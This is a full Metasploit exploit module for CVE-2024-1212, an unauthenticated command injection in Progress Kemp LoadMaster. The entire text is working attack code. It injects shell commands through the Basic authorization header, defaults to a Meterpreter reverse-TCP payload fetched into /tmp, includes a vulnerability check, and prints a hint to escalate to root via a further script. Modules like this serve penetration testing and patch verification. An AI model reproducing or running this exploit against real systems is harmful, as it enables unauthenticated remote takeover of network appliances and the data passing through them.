Kemp LoadMaster Unauthenticated Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
def flag_file  
return @flag_file unless @flag_file.nil?  
  
@flag_file = '/tmp/' + Rex::Text.rand_text_alpha(5)  
end  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',  
'Description' => %q{  
This module exploits an unauthenticated command injection vulnerability in  
Progress Kemp LoadMaster in the authorization header after vversion 7.2.48.1.  
The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and  
7.2.48.10 (LTS).  
},  
'Author' => [  
'Dave Yesland with Rhino Security Labs',  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2024-1212'],  
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],  
['URL', 'https://kemptechnologies.com/kemp-load-balancers']  
],  
'DisclosureDate' => '2024-03-19',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],  
'Reliability' => [ REPEATABLE_SESSION ]  
},  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Privileged' => false,  
'Targets' => [  
[  
'Automatic', # Add logic to run the payload only once  
{  
'Payload' => {  
'Prepend' => "[ -f #{flag_file} ] || ( touch #{flag_file}; (sleep 60; rm #{flag_file})& ",  
'Append' => ')',  
'BadChars' => "\x3a\x27"  
}  
}  
],  
[  
'Do_Not_Prepend_Runonce_Code', # This will likely result in 2-3 sessions  
{  
'Payload' => {  
'BadChars' => "\x3a\x27"  
}  
}  
]  
],  
'Default_target' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',  
'FETCH_WRITABLE_DIR' => '/tmp/',  
'SSL' => true,  
'RPORT' => 443  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/'])  
])  
end  
  
def exploit  
uri = normalize_uri(target_uri.path, 'access', 'set')  
  
vprint_status('Sending payload...')  
  
send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
'vars_get' =>  
{  
'param' => 'enableapi',  
'value' => '1'  
},  
'authorization' => basic_auth("';#{payload.encoded};echo '", Rex::Text.rand_text_alpha(rand(8..15))),  
'verify' => false  
})  
end  
  
def on_new_session(client)  
super  
print_good('Now background this session with "bg" and then run "resource run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc" to get a root shell')  
end  
  
def check  
print_status("Checking if #{peer} is vulnerable...")  
  
uri = normalize_uri(target_uri.path, 'access', 'set')  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
'vars_get' => {  
'param' => 'enableapi',  
'value' => '1'  
},  
'authorization' => basic_auth("'", Rex::Text.rand_text_alpha(rand(8..15))),  
'verify' => false  
})  
  
# No response from server  
unless res  
return CheckCode::Unknown  
end  
  
# Check for specific error pattern in headers or body to confirm vulnerability  
if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching')  
return CheckCode::Vulnerable  
else  
return CheckCode::Safe  
end  
end  
  
end  
`